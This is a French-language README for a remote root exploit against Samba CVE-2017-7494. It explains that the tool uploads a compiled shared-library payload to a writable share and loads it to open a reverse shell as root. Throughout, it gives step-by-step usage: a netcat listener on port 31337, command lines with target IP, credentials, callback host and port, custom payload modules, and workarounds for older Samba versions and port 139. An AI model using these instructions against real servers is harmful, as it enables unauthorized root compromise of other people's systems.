
Exploit racine à distance pour SAMBA CVE-2017-7494 qui compile une charge utile de bibliothèque partagée, la téléverse vers un partage accessible en écriture, et déclenche son chargement pour lancer un shell inversé en tant que root.
Exploit racine à distance pour la vulnérabilité SAMBA CVE-2017-7494.
Cet exploit est divisé en 2 parties :
Tant que la cible est vulnérable et que la charge utile est correcte pour le système d'exploitation et l'architecture de la cible, l'exploit est fiable à 100 %.
Sur votre machine, exécutez la commande suivante :
$ nc -p 31337 -l
Ensuite, exécutez l'exploit contre votre cible et attendez qu'il se connecte en retour à votre Netcat :
$ python cve_2017_7494.py -t target_ip
Si vous fermez trop rapidement le shell inversé, au lieu de relancer l'exploit et de téléverser à nouveau le module, etc... vous pouvez simplement indiquer le chemin du module qu'il a déjà téléversé. En supposant qu'il a été téléversé dans /shared/directory/ sous le nom "module.so", vous exécuteriez une commande comme celle-ci :
$ python cve_2017_7494.py -t target_ip -m /shared/directory/module.so
Vous pouvez désormais exécuter l'exploit contre Samba 3.5.0 et 3.6.0, il vous suffit d'ajouter l'argument -o 1.
python cve_2017_7494.py -t target_ip -u test -P 123456 --rhost shell_ip --rport shell_port -o 1
Vous pouvez désormais utiliser votre propre .so personnalisé.
python cve_2017_7494.py -t target_ip -u test -P 123456 -o 1 --custom myso.so
Si vous avez besoin d'exécuter ce script depuis une machine x86, la compilation des binaires de l'implant créera deux fichiers x86. En utilisant l'option -n 1, vous pouvez désactiver la compilation et copier libimplantx64.so depuis une autre machine.
python cve_2017_7494.py -t target_ip -u test -P 123456 --rhost shell_ip --rport shell_port -n 1
Si Samba n'écoute que sur le port 139, vous pouvez définir le port du serveur distant à l'aide de l'argument -p.
python cve_2017_7494.py -t target_ip -p 139 -u test -P 123456 --rhost shell_ip --rport shell_port -n 1
Je n'en assure plus le support.
-- Joxean Koret